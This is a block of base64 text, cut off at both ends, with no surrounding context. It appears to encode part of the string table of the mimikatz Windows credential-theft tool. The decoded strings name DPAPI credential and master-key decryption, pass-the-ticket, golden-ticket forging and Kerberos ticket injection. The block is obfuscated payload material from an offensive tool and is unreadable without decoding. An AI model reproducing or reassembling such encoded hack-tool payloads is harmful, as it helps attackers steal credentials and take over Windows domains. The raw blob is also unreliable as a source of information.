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QBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEUAeABwAG8AcgB0ACAAZgBsAGEAZwBzADoACgAAAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAAAAHIAYQB3AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEkAbgBwAHUAdAAgAEMAQQBQAEkAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABQAHIAbwBwAGUAcgB0AGkAZQBzADoACgAAADZqbmtkNUozWmRRRHRyc3UAAAAAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAAAAAAAAdQBzAGUAcgAAAAAAAAAAAHMAZQByAHYAaQBjAGUAAAAAAAAAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAGMAbABpAHMAdAAAAAAAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAAAAAABwAHQAYwAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABnAG8AbABkAGUAbgAAAAAAUAB1AHIAZwBlACAAdABpAGMAawBlAHQAKABzACkAAABwAHUAcgBnAGUAAAAAAAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAAAAAAAAdABnAHQAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAKABzACkAAAAAAGwAaQBzAHQAAAAAAAAAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABwAHQAdAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAAGsAcgBiAHQAZwB0AAAAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAAAlADMAdQAgAC0AIABEAGkAcgBlAGMAdABvAHIAeQAgACcAJQBzACcAIAAoACoALgB0AGkAawApAAoAAAAAAAAAXAAqAC4AdABpAGsAAAAAAFwAAAAAAAAAIAAgACAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAAAAAAAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAAAAAACAAOwAgAAAAAAAAAAAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAAAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAAAGsAaQByAGIAaQAAAAAAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAdABpAGMAawBlAHQALgB0AGkAawAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAAAAAABkAG8AbQBhAGkAbgAAAAAAZABlAHMAAAByAGMANAAAAGEAZQBzADEAMgA4AAAAAABhAGUAcwAyADUANgAAAAAAdABhAHIAZwBlAHQAAAAAAGkAZAAAAAAAcgBvAGQAYwAAAAAAAAAAAGcAcgBvAHUAcABzAAAAAABzAGkAZABzAAAAAAAwAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANgAwADAAMAAAAAAAAAAAAGUAbgBkAGkAbgAAAAAAAAByAGUAbgBlAHcAbQBhAHgAAAAAAAAAAAAAAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAKAFMASQBEACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFUAcwBlAHIAIABJAGQAIAAgACAAOgAgACUAdQAKAAAAAAAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAAAAAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAAAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAAAAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAAAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAAAAAAAAoARwBvAGwAZABlAG4AIAB0AGkAYwBrAGUAdAAgAGYAbwByACAAJwAlAHMAIABAACAAJQBzACcAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHMAdQBiAG0AaQB0AHQAZQBkACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAKAAAAAAAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAAAAAAAAkAKgAgACUAcwAgAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaABfAGQAYQB0AGEAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABjAG8AdQBuAHQAAAAAAAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAAAAAAKAFAAcgBpAG4AYwBpAHAAYQBsACAAOgAgAAAAAAAAAAoACgBEAGEAdABhACAAJQB1AAAAAAAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAAkAKgAgACUAdwBaACAAZQBuAHQAcgB5AD8AIAAqAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAYwBjAGEAYwBoAGUAIAB2AGUAcgBzAGkAbwBuACAAIQA9ACAAMAB4ADAANQAwADQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABBAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGYAaQBsAGUAbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAABmAG8AcgB3AGEAcgBkAGUAZAAAAAAAAABwAHIAbwB4AGkAYQBiAGwAZQAAAAAAAABwAHIAbwB4AHkAAAAAAAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAAAAAABwAG8AcwB0AGQAYQB0AGUAZAAAAAAAAABpAG4AdgBhAGwAaQBkAAAAcgBlAG4AZQB3AGEAYgBsAGUAAAAAAAAAaQBuAGkAdABpAGEAbAAAAHAAcgBlAF8AYQB1AHQAaABlAG4AdAAAAGgAdwBfAGEAdQB0AGgAZQBuAHQAAAAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAAAKAAkAIAAgACAAIAAgAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAAAAAAJAFsALgAuAC4AXQAAAAAAKAAlADAAMgBoAHUAKQAgADoAIAAAAAAAJQB3AFoAIAA7ACAAAAAAACgALQAtACkAIAA6ACAAAABAACAAJQB3AFoAAAAAAAAAbgB1AGwAbAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAAAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAAAAAABkAGUAcwBfAGMAYgBjAF8AYwByAGMAIAAgACAAIAAgACAAAAAAAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA0ACAAIAAgACAAIAAgAAAAAAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAAAAAABkAGUAcwBfAGMAYgBjAF8AbQBkADUAXwBuAHQAIAAgACAAAAAAAAAAcgBjADQAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAAAAAAHIAYwA0AF8AcABsAGEAaQBuADIA